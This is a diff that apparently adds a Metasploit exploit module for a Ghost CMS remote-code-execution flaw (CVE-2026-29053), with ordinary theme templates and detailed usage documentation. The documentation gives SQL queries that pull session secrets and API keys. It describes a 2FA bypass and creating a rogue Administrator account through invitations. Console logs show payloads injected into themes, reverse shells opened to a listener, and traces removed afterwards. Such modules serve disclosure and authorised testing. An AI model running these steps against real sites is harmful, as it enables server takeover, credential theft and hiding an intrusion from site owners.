IntersectionObserver(((e,r)=>{try{e.forEach((e=>{e.isIntersecting&&t&&async function(e){try{var t;const r=await fetch(e);if(!r.ok)throw new Error("Failed to fetch page");const o=await r.text(),n=(new DOMParser).parseFromString(o,"text/html");return{posts:n.querySelectorAll(".post"),nextLink:null===(t=n.querySelector('link[rel="next"]'))||void 0===t?void 0:t.getAttribute("href")}}catch(e){throw new Error(e)}}(t).then((e=>{let{posts:o,nextLink:n}=e;o.forEach((e=>{document.querySelector(".gh-postfeed").append(e)})),n?(t=n,r.observe(document.querySelector(".post:last-of-type"))):r.disconnect()}))}))}catch(e){console.log(e)}}),{rootMargin:"150px"}).observe(document.querySelector(".post:last-of-type"))}()}(); +//# sourceMappingURL=index.js.map diff --git a/data/exploits/CVE-2026-29053/theme/author.hbs b/data/exploits/CVE-2026-29053/theme/author.hbs new file mode 100644 index 0000000000000..7bfb25913dbe2 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/author.hbs @@ -0,0 +1,46 @@ +{{!< default}} + +
+
+ + {{#author}} +
+ {{#if profile_image}} + {{name}} + {{/if}} + +

{{name}}

+ {{#if bio}} +

{{bio}}

+ {{/if}} + +
+ +
+ + {{#if cover_image}} + {{name}} + {{/if}} +
+ {{/author}} + +
+ {{#foreach posts}} + + {{> "card"}} {{!-- partials/card.hbs --}} + + {{/foreach}} +
+ +
+
diff --git a/data/exploits/CVE-2026-29053/theme/default.hbs b/data/exploits/CVE-2026-29053/theme/default.hbs new file mode 100644 index 0000000000000..ed3e5a55e6d66 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/default.hbs @@ -0,0 +1,79 @@ + + + + + + + + + + {{meta_title}} + + {{ghost_head}} + {{!-- Outputs important meta data and settings, should always be in --}} + + + +
+ +
+ +
+ +
+ + {{{body}}} + {{!-- All content gets inserted here, index.hbs, post.hbs, etc --}} + +
+ +
+
+
+ {{navigation type="secondary"}} +
+
+ Published with Ghost +
+
+
+ +
+ +{{!-- --}} +{{ghost_foot}} +{{!-- Outputs important scripts - should always be included before closing body tag --}} + + + diff --git a/data/exploits/CVE-2026-29053/theme/error.hbs b/data/exploits/CVE-2026-29053/theme/error.hbs new file mode 100644 index 0000000000000..eb8643ca15a2d --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/error.hbs @@ -0,0 +1,108 @@ + + + + + + + + + + {{meta_title}} + + {{ghost_head}} + {{!-- Outputs important meta data and settings, should always be in --}} + + + + +
+ +
+ +
+ +
+ +
+
+ +
+ +

{{statusCode}}

+

{{message}}

+ + + {{#if errorDetails}} +
+

Theme errors:

+
    + {{#foreach errorDetails}} +
  • +
    {{{rule}}}
    + + {{#foreach failures}} + Ref: {{ref}}
    + Message: {{message}} + {{/foreach}} +
  • + {{/foreach}} +
+
+ {{/if}} + +
+ +
+
+ +
+ +
+
+
+ {{navigation type="secondary"}} +
+
+ Published with Ghost +
+
+
+ +
+ +{{!-- --}} +{{ghost_foot}} +{{!-- Outputs important scripts - should always be included before closing body tag --}} + + + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/index.hbs b/data/exploits/CVE-2026-29053/theme/index.hbs new file mode 100644 index 0000000000000..20f7992d99e66 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/index.hbs @@ -0,0 +1,20 @@ +{{!< default}} +
+
+ +
+ {{#foreach posts}} + + {{> "card" page=../pagination.page }} {{!-- partials/card.hbs --}} + + {{/foreach}} +
+ + {{!-- If JS isn't enabled, fallback to standard pagination --}} + +
+
diff --git a/data/exploits/CVE-2026-29053/theme/members/account.hbs b/data/exploits/CVE-2026-29053/theme/members/account.hbs new file mode 100644 index 0000000000000..37494ed14fdd6 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/members/account.hbs @@ -0,0 +1,35 @@ +{{!< ../default}} + +
+
+ + {{#if @member.paid}} + + {{!-- Logged in, paying member: Show account info --}} + + + {{else if @member}} + + {{!-- Logged in, not paying: Link to checkout --}} + + + {{else}} + + {{!-- Not logged in: Redirect to signin --}} + + + {{/if}} + +
+
diff --git a/data/exploits/CVE-2026-29053/theme/members/signin.hbs b/data/exploits/CVE-2026-29053/theme/members/signin.hbs new file mode 100644 index 0000000000000..17bb9ab23c197 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/members/signin.hbs @@ -0,0 +1,32 @@ +{{!< ../default}} + +
+
+ + {{#if @member}} + + {{!-- Logged in: Redirect home --}} + + + {{else}} + + {{!-- Not logged in: Signin form --}} +
+

Welcome back!

+

Sign into your account again for full access

+
+ + +
+

Don't have an account yet? Sign up

+
Great! Check your inbox and click the link to complete signin
+
Please enter a valid email address!
+
+ + {{/if}} + +
+
diff --git a/data/exploits/CVE-2026-29053/theme/members/signup.hbs b/data/exploits/CVE-2026-29053/theme/members/signup.hbs new file mode 100644 index 0000000000000..548973c5693a6 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/members/signup.hbs @@ -0,0 +1,76 @@ +{{!< ../default}}
+
+ + {{#if @member.paid}} + + {{!-- Logged in, paying member: Redirect home --}} + + + {{else if @member}} + + {{!-- Logged in, not paying: Check out --}} +
+

Choose your subscription

+

Unlock full access to {{@site.title}} and see the entire library of members-only content & updates

+
+ {{#get "tiers" include="monthly_price, yearly_price" limit="all" as |tiers|}} + {{#foreach tiers}} +
+
+

{{name}}

+ {{#if monthly_price}} + ${{monthly_price}} / month + {{/if}} + {{#if yearly_price}} + ${{yearly_price}} / year + {{/if}} +
+
+ {{#if benefits}} +
    + {{#foreach benefits as |benefit|}} +
  • {{benefit}}
  • + {{/foreach}} +
+ {{/if}} + + + {{#if monthly_price}} + Choose this + plan + {{/if}} + {{#if yearly_price}} + Choose this + plan + {{/if}} +
+
+ {{/foreach}} + {{/get}} +
+
+ + {{else}} + + {{!-- Not logged in: Sign up --}} +
+

Signup to {{@site.title}}

+

{{@site.description}}

+
+ + +
+

Already have an account? Sign in

+
Great! Check your inbox and click the link to confirm your + subscription
+
Please enter a valid email address!
+
+ + {{/if}} + +
+
\ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/page.hbs b/data/exploits/CVE-2026-29053/theme/page.hbs new file mode 100644 index 0000000000000..651aec1f00477 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/page.hbs @@ -0,0 +1,29 @@ +{{!< default}} + +{{#post}} +
+ {{#match @page.show_title_and_feature_image}} +
+

{{title}}

+ + {{#if custom_excerpt}} +

{{custom_excerpt}}

+ {{/if}} + + {{#if feature_image}} +
+ {{#if feature_image_alt}}{{feature_image_alt}}{{else}}{{title}}{{/if}} + {{#if feature_image_caption}} +
{{feature_image_caption}}
+ {{/if}} +
+ {{/if}} +
+ {{/match}} + +
+ {{content}} +
+ +
+{{/post}} diff --git a/data/exploits/CVE-2026-29053/theme/partials/card.hbs b/data/exploits/CVE-2026-29053/theme/partials/card.hbs new file mode 100644 index 0000000000000..1f2bbfd72af89 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/card.hbs @@ -0,0 +1,57 @@ +{{!-- +Re-usable card for linking to posts +--}} + + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs new file mode 100644 index 0000000000000..4965e49364d96 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs new file mode 100644 index 0000000000000..effced2cbb672 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs new file mode 100644 index 0000000000000..af37fca396785 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs new file mode 100644 index 0000000000000..4bffd15178064 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs new file mode 100644 index 0000000000000..4a7f2cd36170c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs @@ -0,0 +1,11 @@ + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs new file mode 100644 index 0000000000000..b3bf27a12e6e4 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs new file mode 100644 index 0000000000000..19de4afd9029c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/post.hbs b/data/exploits/CVE-2026-29053/theme/post.hbs new file mode 100644 index 0000000000000..26e95dffa064c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/post.hbs @@ -0,0 +1,93 @@ +{{!< default}} + +{{#post}} + +
+ +
+ +

{{title}}

+ + {{#if custom_excerpt}} +

{{custom_excerpt}}

+ {{/if}} + + {{#if feature_image}} +
+ + + + {{#if feature_image_alt}}{{feature_image_alt}}{{else}}{{title}}{{/if}} + + {{#if feature_image_caption}} +
{{feature_image_caption}}
+ {{/if}} +
+ {{/if}} +
+ +
+ {{content}} +
+ +
+ + + + {{#if comments}} +
+ {{comments}} +
+ {{/if}} + +
+ +
+ + + +{{/post}} diff --git a/data/exploits/CVE-2026-29053/theme/tag.hbs b/data/exploits/CVE-2026-29053/theme/tag.hbs new file mode 100644 index 0000000000000..b3a61092bc60a --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/tag.hbs @@ -0,0 +1,35 @@ +{{!< default}} + +
+
+ + {{#tag}} +
+ +

{{name}}

+ +

+ {{#if description}} + {{description}} + {{else}} + A collection of {{plural ../pagination.total empty='posts' singular='% post' plural='% posts'}} + {{/if}} +

+ + {{#if feature_image}} + {{name}} + {{/if}} + +
+ {{/tag}} + +
+ {{#foreach posts}} + + {{> "card"}} {{!-- partials/card.hbs --}} + + {{/foreach}} +
+ +
+
diff --git a/documentation/modules/exploit/multi/http/ghostcms_auth_rce_cve_2026_29053.md b/documentation/modules/exploit/multi/http/ghostcms_auth_rce_cve_2026_29053.md new file mode 100644 index 0000000000000..8cdc21c0477a0 --- /dev/null +++ b/documentation/modules/exploit/multi/http/ghostcms_auth_rce_cve_2026_29053.md @@ -0,0 +1,477 @@ +## Vulnerable Application + +This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS. +Specifically crafted malicious themes can execute arbitrary code on the server running Ghost. + +The affected versions include all releases from 0.7.2 up to and including 6.19.0. +For versions 5.105.0–5.130.5 and 6.0.0–6.10.3, the module also leverages a 2FA bypass. + +## About authentication + +There are a few ways to authenticate with this module: +1. **Direct Login** (`EMAIL` and `PASSWORD`). The most straightforward method. The module establishes a session using existing credentials. This provides full control over theme management and cleanup. +2. **Raw Cookie String** (`GHOST_API_ADMIN_SESSION`). You can sign in, then copy the cookie `ghost-admin-api-session` from your browser. +3. **Cookie signing** (`ADMIN_SESSION_SECRET` and `ADMIN_SESSION_ID`). Cryptographically signs a provided Session ID using the server's database session secret key to generate a valid cookie on the fly. You need to extract the `admin_session_secret` and the admin session ID from the database in order to sign the cookie. To do this, you can use an SQL injection vulnerability such as `CVE-2026-26980`. +In a testing, you can do this using the following SQL queries: +``` +mysql -h 127.0.0.1 -u root -pexample -e "SELECT value FROM ghost.settings WHERE \`key\`='admin_session_secret'\G" +``` +``` +mysql -h 127.0.0.1 -u root -pexample -e "SELECT * FROM ghost.sessions\G" +``` +4. **Invitation Flow** (`EMAIL`, `ADMIN_API_KEY_ID`, and `ADMIN_API_SECRET`): +**Recommended for RCE when credentials are unknown**. The module uses API keys to invite a new user (with the `Administrator` role) to the specified `EMAIL`. You must manually provide the invitation URL from the email. +- **Pros:** Bypasses the limitations of pure API-key authentication. Once the new account is activated, the module gains full session permissions to manage, download, and delete themes. +- **Cons:** Requires manual interaction and access to the inbox of the provided EMAIL. +- **Warning:** The temporary administrator account created during this process might not be automatically deleted if the provided API keys lack sufficient permissions to manage users. +5. Pure API Key (`ADMIN_API_KEY_ID` and `ADMIN_API_SECRET`). The module generates a JWT for authentication. +- **Warning:** This is the most limited method. The Ghost Admin API does not provide endpoints to list or delete themes via JWT. As a result, the module cannot automatically revert to the default theme or delete the malicious one after execution. +In a testing, you can take the required API Key using the following SQL query: +``` +mysql -h 127.0.0.1 -u root -pexample -e "SELECT id,secret FROM ghost.api_keys WHERE user_id IS NOT NULL\G" +``` + +You can switch between these flows using the `ACTION` variable from the datastore. + +## Testing + +### Linux + +1. Open the directory with docker-compose.yml +``` +cd data/exploits/CVE-2026-29053/lab/ +``` + +2. Set up the mail section (you can use https://mailtrap.io/) +``` + "mail": { + "transport": "SMTP", + "options": { + "host": "", + "port": 587, + "auth": { + "user": "", + "pass": "" + } + } + } +``` + +3. Set up the security section (true = login with 2FA, false = without) +``` +"security": { + "staffDeviceVerification": +} +``` + +4. Run Docker Compose +``` +docker compose up +``` + +5. Open the setup URL in your browser and complete the installation +``` +http://localhost:2368/ghost/ +``` + +Tip: In the default configuration, 2FA is disabled, so you can skip steps #2-#3. + +### Windows + +1. Go to https://github.com/coreybutler/nvm-windows, download the latest release, and install NVM. + +2. Install Node.js +``` +nvm install 22 +nvm use 22 +``` + +3. Go to https://www.python.org/downloads/, download Python 3, and install it. + +4. Install Ghost CLI +``` +npm install ghost-cli@latest -g +``` + +5. Create a new folder, open it, and install Ghost CMS +``` +ghost install 6.16.1 --local --db sqlite3 +``` + +6. Install sqlite3 +``` +npm install sqlite3 --save +``` + +7. Configure all interfaces +``` +ghost config set server.host 0.0.0.0 +``` + +8. Start Ghost +``` +ghost start +``` + +## Scenario + +### Linux + +#### Direct Login + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/unix/reverse_nodejs +payload => cmd/unix/reverse_nodejs +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set EMAIL test@gmail.com +EMAIL => test@gmail.com +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set PASSWORD pnzWWh8iSaHRfuSZ +PASSWORD => pnzWWh8iSaHRfuSZ +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Authenticating via session (user: test@gmail.com)... +[-] Ghost Error (403). A 6-digit sign-in verification code has been sent to your email to keep your account safe. +[!] The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED). +[-] Exploit aborted due to failure: bad-config: Please run: "set TOTP_CODE <6-digits>", and run again. +[*] Exploit completed, but no session was created. +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set TOTP_CODE 257196 +TOTP_CODE => 257196 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Found GHOST_API_ADMIN_SESSION in datastore. Validating session... +[-] Ghost Error (403). Unable to determine the authenticated user or integration. Check that cookies are being passed through if using session authentication. +[-] Session is invalid: Incorrect cookie or 2FA code is required. +[*] Submitting verification code from datastore: 149333... +[+] 2FA verification successful! Session established. +[+] Authentication successful! +[*] Downloading active theme "uvcqbnydl" from server... +[*] Injecting payload into: tag-cdnqesixd.hbs +[*] Uploading infected theme: spkidnjigplcs +[*] Triggering payload... +[*] Command shell session 1 opened (192.168.19.153:4444 -> 172.18.0.2:46520) at 2026-07-07 15:29:46 -0400 +[*] Reverting to default theme... +[+] Successfully reverted to theme: uvcqbnydl +[*] Removing malicious theme... +[+] Successfully removed malicious theme: spkidnjigplcs +[*] Removing content... +[+] Successfully removed content: tag 6a4d53a1dca5ce0001e1a2a4 + +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm +ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +#### Direct Login (2FA Bypass) + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/unix/reverse_nodejs +payload => cmd/unix/reverse_nodejs +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set EMAIL test@gmail.com +EMAIL => test@gmail.com +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set PASSWORD pnzWWh8iSaHRfuSZ +PASSWORD => pnzWWh8iSaHRfuSZ +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Authenticating via session (user: test@gmail.com)... +[*] Target version 6.9 is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit... +[+] Session established via password successfully. +[+] Authentication successful! +[*] Downloading active theme "mcvifstsogsbrvnw" from server... +[*] Injecting payload into: page-vgfxovwrjks.hbs +[*] Uploading infected theme: wstfjbqzfoqxgo +[*] Triggering payload... +[*] Command shell session 1 opened (192.168.19.153:4444 -> 172.18.0.2:35290) at 2026-07-07 16:07:38 -0400 +[*] Reverting to default theme... +[+] Successfully reverted to theme: mcvifstsogsbrvnw +[*] Removing malicious theme... +[+] Successfully removed malicious theme: wstfjbqzfoqxgo +[*] Removing content... +[+] Successfully removed content: page 6a4d5c81c91bc80001d283f1 + +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm +ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +#### Invitation Flow + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ADMIN_API_KEY_ID 6a4d02a0dca5ce0001e1a208 +ADMIN_API_KEY_ID => 6a4d02a0dca5ce0001e1a208 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ADMIN_API_SECRET ae3e7b87c0d88356071b860de41d192b6e84587df94841cd4faa13a9f830c9ad +ADMIN_API_SECRET => ae3e7b87c0d88356071b860de41d192b6e84587df94841cd4faa13a9f830c9ad +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set EMAIL abc@gmail.com +EMAIL => abc@gmail.com +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ACTION INVITE +ACTION => INVITE +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Authenticating via Invitation Flow... +[!] An invitation has been sent to abc@gmail.com. +[!] Please check the inbox, copy the "Click here to activate your account" link, and paste it here. +[-] Exploit aborted due to failure: bad-config: Please run: "set INVITE_LINK ", and run again. +[*] Exploit completed, but no session was created. +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set INVITE_LINK http://localhost:2368/ghost/signup/MTc4NDA1NzgyMDg2NXxhYmNAZ21haWwuY29tfC9NVGcyVmptKzd4NnRWUlhjMDNPT1ZOMXBxU0gwVTJZNG8wQ3hNSDdVMW89/ +INVITE_LINK => http://localhost:2368/ghost/signup/MTc4NDA1NzgyMDg2NXxhYmNAZ21haWwuY29tfC9NVGcyVmptKzd4NnRWUlhjMDNPT1ZOMXBxU0gwVTJZNG8wQ3hNSDdVMW89/ +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Authenticating via Invitation Flow... +[+] Account activated successfully: abc@gmail.com : ubOwSeK9*6* +[*] Authenticating via session (user: abc@gmail.com)... +[+] Session established via password successfully. +[+] Authentication successful! +[*] Using local template theme for JWT-based attack... +[*] Injecting payload into: tag-qrplfvnvzj.hbs +[*] Uploading infected theme: qtvraajf +[*] Triggering payload... +[*] Command shell session 1 opened (192.168.19.153:4444 -> 172.18.0.2:35014) at 2026-07-07 15:37:36 -0400 +[*] Removing content... +[+] Successfully removed content: tag 6a4d5577dca5ce0001e1a2c6 +[*] Removing temporary account... +[+] The temporary account removed successfully + +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm +ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +#### Pure API Key + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ADMIN_API_KEY_ID 6a4d02a0dca5ce0001e1a208 +ADMIN_API_KEY_ID => 6a4d02a0dca5ce0001e1a208 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ADMIN_API_SECRET ae3e7b87c0d88356071b860de41d192b6e84587df94841cd4faa13a9f830c9ad +ADMIN_API_SECRET => ae3e7b87c0d88356071b860de41d192b6e84587df94841cd4faa13a9f830c9ad +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ACTION API_KEY +ACTION => API_KEY +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Authenticating via Pure API Key (JWT generation)... +[+] Authentication successful! +[*] Using local template theme for JWT-based attack... +[*] Injecting payload into: author-test.hbs +[*] Uploading infected theme: mcvifstsogsbrvnw +[*] Triggering payload... +[*] Command shell session 1 opened (192.168.19.153:4444 -> 172.18.0.2:47866) at 2026-07-07 15:40:37 -0400 + +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm +ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +#### Raw Cookie String + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ACTION COOKIE +ACTION => COOKIE +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set GHOST_API_ADMIN_SESSION s%3AUREm9Smwxqe_hPMGlD6yNZgl8pR6Vvlf.UlP5UngFoMpO%2BnL1JhXYxzBM7WYEXIUUsR7DQmAx2Xk +GHOST_API_ADMIN_SESSION => s%3AUREm9Smwxqe_hPMGlD6yNZgl8pR6Vvlf.UlP5UngFoMpO%2BnL1JhXYxzBM7WYEXIUUsR7DQmAx2Xk +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Authenticating via GHOST_API_ADMIN_SESSION cookie... +[+] Authentication successful! +[*] Downloading active theme "mcvifstsogsbrvnw" from server... +[*] Injecting payload into: page-eehhya.hbs +[*] Uploading infected theme: lfql +[*] Triggering payload... +[*] Command shell session 1 opened (192.168.19.153:4444 -> 172.18.0.2:52758) at 2026-07-07 15:53:35 -0400 +[*] Reverting to default theme... +[+] Successfully reverted to theme: mcvifstsogsbrvnw +[*] Removing malicious theme... +[+] Successfully removed malicious theme: lfql +[*] Removing content... +[+] Successfully removed content: page 6a4d5937dca5ce0001e1a2d4 + +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm +ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +#### Cookie signing + +``` +msf > use multi/http/ghostcms_auth_rce_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ADMIN_SESSION_SECRET f525e14227026edf62108c181a5975aa5e00436f44ef26f1d364a92a291a903a +ADMIN_SESSION_SECRET => f525e14227026edf62108c181a5975aa5e00436f44ef26f1d364a92a291a903a +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ADMIN_SESSION_ID UREm9Smwxqe_hPMGlD6yNZgl8pR6Vvlf +ADMIN_SESSION_ID => UREm9Smwxqe_hPMGlD6yNZgl8pR6Vvlf +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set ACTION SESSION_SECRET +ACTION => SESSION_SECRET +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > set payload cmd/unix/reverse_nodejs +payload => cmd/unix/reverse_nodejs +msf exploit(multi/http/ghostcms_auth_rce_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.153:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected version 6.9, which is vulnerable +[*] Signing session cookie using provided secret for Session ID: UREm9Smwxqe_hPMGlD6yNZgl8pR6Vvlf... +[+] Authentication successful! +[*] Downloading active theme "mcvifstsogsbrvnw" from server... +[*] Injecting payload into: page-ihllwl.hbs +[*] Uploading infected theme: xtztrsqroxe +[*] Triggering payload... +[*] Command shell session 1 opened (192.168.19.153:4444 -> 172.18.0.2:55568) at 2026-07-07 16:01:15 -0400 +[*] Reverting to default theme... +[+] Successfully reverted to theme: mcvifstsogsbrvnw +[*] Removing malicious theme... +[+] Successfully removed malicious theme: xtztrsqroxe +[*] Removing content... +[+] Successfully removed content: page 6a4d5b03dca5ce0001e1a2dc + +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm 